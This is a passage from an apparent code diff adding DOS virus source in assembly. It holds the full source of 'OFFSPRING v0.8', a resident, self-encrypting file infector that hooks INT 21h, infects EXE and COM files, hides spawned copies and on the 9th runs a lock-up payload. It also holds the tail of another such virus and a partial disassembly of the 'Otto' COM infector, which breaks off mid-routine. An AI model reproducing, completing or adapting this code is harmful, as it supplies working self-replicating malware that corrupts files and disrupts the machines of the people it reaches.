CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
|
@ -0,0 +1,665 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.8 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.8
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; encryption routine switches from using di to si.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low - loc in mem
|
||||
f_sizeh equ 1ah ; File size - high - loc in mem
|
||||
f_date equ 18h ; File date - loc in mem
|
||||
f_time equ 16h ; File time - loc in mem
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
start:
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp:
|
||||
dw 0000
|
||||
|
||||
skip_dec:
|
||||
jmp main ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
di_op db 0bfh
|
||||
mov_di dw offset enc_data+2 ; Point to byte after encryption num
|
||||
;
|
||||
;-------------------------
|
||||
; Encryption/Decryption
|
||||
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
sw_byte3: ; INC xx changes position in these bytes
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
sw_byte4:
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;-------------------------------
|
||||
; Non-Resident portion of virus
|
||||
;-------------------------------
|
||||
main proc
|
||||
|
||||
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for EXEC
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,vname[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
call install ; check if installed, if not install
|
||||
|
||||
cmp byte ptr vtype[bp],parastic
|
||||
je com_return
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ax,4b00h
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
mov si,bp
|
||||
mov cx,4 ; Restore original first
|
||||
add si,offset org_bytes ; five bytes of COM file
|
||||
mov di,0100h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ax,0100h ; Simulate CALL return to 0100h
|
||||
push ax
|
||||
ret
|
||||
|
||||
main endp
|
||||
|
||||
;--------------------------------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------------------------------
|
||||
|
||||
install proc
|
||||
|
||||
mov ah,signal
|
||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
jne no_install
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,190 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],ds ; Save seg
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax ; off
|
||||
|
||||
sti
|
||||
|
||||
no_install:
|
||||
push cs ; Restore regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
ret
|
||||
install endp
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ah, 3bh ; set dir func?
|
||||
je run_res
|
||||
cmp ah,0eh ; set disk func?
|
||||
je run_res
|
||||
|
||||
jmp end_21
|
||||
|
||||
run_res:
|
||||
pushf
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ;
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],3 ; Add 3k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta
|
||||
mov ax,word ptr old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
new21 endp ; End of handler
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov byte ptr vtype,spawn
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data+2
|
||||
|
||||
find_first:
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend
|
||||
lea di, vend+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx
|
||||
lm3 : ; find end of directory name
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
cmp word ptr vend+f_sizeh,400h
|
||||
jge cont_inf2
|
||||
jmp no_infect
|
||||
|
||||
cont_inf2:
|
||||
|
||||
lea si,vend+f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,vend+f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,04
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp word ptr org_bytes,0e990h
|
||||
jne cont_inf
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data+2
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr vend+f_sizeh
|
||||
sub ax,4
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4
|
||||
lea dx,new_code
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
push bx
|
||||
|
||||
cmp pad_bytes,50
|
||||
je reset_pad
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr
|
||||
jmp pad_ok
|
||||
reset_pad:
|
||||
mov ax,pad_bytes
|
||||
sub word ptr b_wr,ax
|
||||
xor ax,ax
|
||||
mov pad_bytes,ax
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
||||
mov ah,inc_op
|
||||
xor cx,cx
|
||||
lea di,sw_byte3
|
||||
chg_four:
|
||||
xor bx,bx ; Switch INC xx's location
|
||||
cmp word ptr [di],9090h
|
||||
je mov_pos
|
||||
inc bx
|
||||
inc bx
|
||||
cmp byte ptr [di+1],90h ; is second byte not 90h
|
||||
je mov_pos
|
||||
dec bx
|
||||
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
|
||||
mov byte ptr [di+2],90h ; to NOP
|
||||
mov byte ptr [di+bx],ah ; place inc xx in other byte
|
||||
|
||||
lea di,sw_byte4
|
||||
inc cx
|
||||
cmp cx,1
|
||||
je chg_four
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - millisecs
|
||||
|
||||
mov word ptr xor_op+2,dx ; save encryption #
|
||||
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+52 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr vend[f_time]
|
||||
mov dx,word ptr vend[f_date]
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
cmp inf_count, max_inf
|
||||
je end_prog
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc end_prog
|
||||
jmp next_loop
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first
|
||||
|
||||
|
||||
find_done:
|
||||
mov byte ptr vtype,spawn
|
||||
mov fname_off, offset fname1
|
||||
ret
|
||||
resident endp
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
rot_num dw 0000 ; Used when replacing bytes with OP_SET
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
new_code db 90h
|
||||
new_jmp db 0e9h,00,00 ; New Jump
|
||||
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in viru size
|
||||
add_mem db 0 ; Add memory back?
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
|
||||
copyr db '(c)1993 negoriV' ; my copyright
|
||||
vname db 0ah,0dh,'OFFSPRING V0.8','$'
|
||||
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
vend: ; End of virus
|
||||
|
||||
cseg ends
|
||||
end start
|
|
@ -0,0 +1,284 @@
|
|||
;******************************************************************************
|
||||
; Otto Virus
|
||||
;
|
||||
; Disassembled by Data Disruptor
|
||||
; (c) 1992 RABID International Development
|
||||
; (May.12.92)
|
||||
;
|
||||
; Original virus written by YAM (Youth Against McAfee) 1992
|
||||
;
|
||||
; Notes: Otto Schtuck (Pardon the spelling?) claims that this is a super-
|
||||
; encrypting virus. Well, it took me all of two minutes to get the virus
|
||||
; into it's disassembled form. Try again guys. It wasn't half bad. For
|
||||
; this virus, I could not use the techniques outlined in my article in
|
||||
; Censor Volume 1~, therefore, I had to use another method (which,
|
||||
; coincidentally is a lot better). Be expecting "Decrypting Viruses
|
||||
; Part ][" in the next issue of Censor (Slated for release in early
|
||||
; June).
|
||||
;
|
||||
; As always, these disassemblies compile but do not run. They are
|
||||
; intended to be used for "Hmm. Let's see how that group program's"
|
||||
; purposes only.
|
||||
;
|
||||
; Data Disruptor
|
||||
; RABID
|
||||
;
|
||||
; ~ I don't know the reason why my method outlined in Censor I didn't work.
|
||||
; It could have had something to do with SMARTDRV and FSP conflicting in
|
||||
; memory. Nonetheless, another method was found.
|
||||
;
|
||||
; (Ok. So it's not one of my best disassemblies, but at least it shows how
|
||||
; one can decrypt encrypted viruses...)
|
||||
;
|
||||
; A scan for this virus is;
|
||||
;
|
||||
; # Otto - Written by Otto Schtuck
|
||||
; "8A 24 32 E0 88 24 46" Otto Schtuck [Otto] *NEW*
|
||||
;
|
||||
; It does no damage, does not hide it's file increase, but preserves the time
|
||||
; & date stamp. It does not display any message. It is a transient COM infector
|
||||
; that will infect one file in the current directory each time it is run.
|
||||
;
|
||||
;******************************************************************************
|
||||
|
||||
file_handle equ 9Eh ; File handle location
|
||||
enc_bit equ 0FFh ; Encryption bit
|
||||
|
||||
code segment byte public
|
||||
assume cs:code, ds:code
|
||||
org 100h
|
||||
|
||||
;---
|
||||
; Length of virus is 379 bytes...
|
||||
;---
|
||||
|
||||
otto_vir proc far
|
||||
start:
|
||||
jmp short virus_entry ; Virus entry here
|
||||
;---
|
||||
; This hunk of shit here looks encrypted. I couldn't be bothered to go any
|
||||
; further...
|
||||
;---
|
||||
|
||||
crypt_1 db 90h
|
||||
db 12h, 44h, 75h, 64h, 6Eh,0C1h
|
||||
db 0Eh,0EDh, 70h, 05h, 34h, 5Dh
|
||||
db 77h,0EBh, 35h,0D4h, 35h, 46h
|
||||
db 34h, 68h, 7Ch,0A2h, 05h,0C1h
|
||||
db 24h, 49h, 34h, 4Eh, 6Ch,0F1h
|
||||
db 33h,0D5h, 20h, 5Ch, 7Bh, 78h
|
||||
db 08h, 88h
|
||||
crypt_2 db 69h
|
||||
db 0C3h, 79h
|
||||
db 08h, 25h, 33h, 3Ch
|
||||
db 0B0h, 61h,0F2h, 11h, 6Ah, 5Dh
|
||||
db 4Eh, 25h,0CBh, 2Fh,0D4h, 35h
|
||||
db 5Ah, 7Ah, 6Bh, 71h,0EBh, 2Eh
|
||||
db 0CEh, 31h, 44h, 19h, 00h, 1Fh
|
||||
virus_entry:
|
||||
cmp al,[bx+di-14h]
|
||||
popf ; Pop flags
|
||||
or ax,bp
|
||||
add [bx+si],al
|
||||
pop si
|
||||
push si
|
||||
sub si,108h
|
||||
pop ax
|
||||
sub ax,100h
|
||||
mov ds:enc_bit,al
|
||||
push si
|
||||
mov cx,17Bh ; 379 bytes
|
||||
add si,offset crypt_2
|
||||
|
||||
decrypt:
|
||||
mov ah,[si]
|
||||
xor ah,al
|
||||
mov [si],ah
|
||||
inc si
|
||||
ror al,1 ; Rotate
|
||||
loop decrypt
|
||||
|
||||
pop si
|
||||
mov ax,enc_ax[si]
|
||||
mov dh,enc_dh[si]
|
||||
mov word ptr ds:[100h],ax
|
||||
mov crypt_1,dh
|
||||
lea dx,filespec ; Set filespec
|
||||
xor cx,cx ; Search for normal files
|
||||
mov ah,4Eh ; Search for first match
|
||||
search_handler:
|
||||
int 21h
|
||||
jnc got_file
|
||||
jmp quit
|
||||
;---
|
||||
; Otto! If you want to save some bytes, you don't have to open the file in
|
||||
; order to get it's time. There are other ways around this...
|
||||
;---
|
||||
|
||||
got_file:
|
||||
mov dx,file_handle ; Get file handle from DTA
|
||||
mov ax,3D02h ; Open file with read/write
|
||||
int 21h
|
||||
mov bx,ax ; Save file handle in BX
|
||||
mov ax,5700h
|
||||
int 21h ; Get time/date from file
|
||||
cmp cl,3 ; Check timestamp
|
||||
jne found_host ; Not equal to our timestamp?
|
||||
mov ah,3Eh ; Then close the file and...
|
||||
int 21h ;
|
||||
mov ah,4Fh ; ...Search for next match
|
||||
jmp short search_handler
|
||||
found_host:
|
||||
push cx
|
||||
push dx
|
||||
call move_ptr_start ; Move file pointer to start
|
||||
lea dx,[si+three_bytes] ; Set buffer space for 3 bytes
|
||||
mov cx,3 ; Set for 3 bytes
|
||||
mov ah,3Fh ; Read in file
|
||||
int 21h
|
||||
xor cx,cx ; Set registers to...
|
||||
xor dx,dx ; ...absolute end of file
|
||||
mov ax,4202h
|
||||
int 21h ; Move file point to end
|
||||
mov word ptr ptr_loc[si],ax
|
||||
sub ax,3
|
||||
mov adj_ptr_loc[si],ax
|
||||
call move_ptr_start
|
||||
add ax,6
|
||||
mov work[si],al
|
||||
mov cx,word ptr ptr_loc[si]
|
||||
;---
|
||||
; Set buffer space at end of the file so that we don't waste space in the
|
||||
; virus
|
||||
;---
|
||||
lea dx,[si+2A4h]
|
||||
mov ah,3Fh ; Read in file
|
||||
int 21h
|
||||
push si
|
||||
mov al,work[si]
|
||||
add si,offset copyright+4
|
||||
call encrypt
|
||||
pop si
|
||||
call move_ptr_start
|
||||
mov cx,word ptr ptr_loc[si]
|
||||
lea dx,[si+2A4h] ; Load effective addr
|
||||
mov ah,40h ;
|
||||
int 21h
|
||||
jnc check_write ;
|
||||
jmp short quit
|
||||
check_write:
|
||||
lea dx,[si+105h] ; Load effective addr
|
||||
mov cx,24h
|
||||
mov ah,40h ;
|
||||
int 21h
|
||||
push si
|
||||
mov cx,17Bh ; 379 bytes
|
||||
mov di,si
|
||||
add di,offset copyright+1
|
||||
add si,offset crypt_2
|
||||
rep movsb ;
|
||||
pop si
|
||||
push si
|
||||
mov al,work[si]
|
||||
mov cx,17Bh ; 397 bytes
|
||||
add si,offset copyright+1
|
||||
call encrypt
|
||||
pop si
|
||||
mov cx,17Bh ; 397 bytes
|
||||
lea dx,[si+2A4h] ; Set buffer to encrypted data
|
||||
mov ah,40h ; Write out the virus to the
|
||||
; file
|
||||
int 21h
|
||||
jc quit ; Jump if carry Set
|
||||
call move_ptr_start ; Move file pointer to start
|
||||
lea dx,[si+new_jump] ; Load DX with the new jump
|
||||
mov ah,40h ;
|
||||
mov cx,3 ; Set for 3 bytes
|
||||
int 21h ; Write out the new jump
|
||||
jc quit ; Jump if carry Set
|
||||
pop dx
|
||||
pop cx
|
||||
mov cl,3 ; Set low order time with
|
||||
; our identity byte
|
||||
mov ax,5701h
|
||||
int 21h ; Set file date/time
|
||||
mov ah,3Eh ;
|
||||
int 21h ; Close the file
|
||||
|
||||
;---
|
||||
; Hmm. This routine looks a bit familiar... Maybe it was "borrowed" from the
|
||||
; RAGE Virus we wrote...
|
||||
;---
|
||||
|
||||
quit:
|
||||
push si ; Save our SI
|
||||
mov al,ds:enc_bit ; Load AL with value of the
|
||||
; encryption bit
|
||||
xor cx,cx ;
|
||||
add cx,si ; Load CX with original 3 bytes
|
||||
add cx,3 ; Adjust value for offset of
|
||||
; virgin code
|
||||
mov bp,103h ; Load BP with offset of 103h
|
||||
; Where the virgin code starts
|
||||
mov si,bp ; Copy this location to SI
|
||||
call encrypt ; Encrypt this portion of the
|
||||
; code
|
||||
pop si ; Restore original SI
|
||||
mov bp,offset start ; Load BP with offset of start
|
||||
; of the virgin code
|
||||
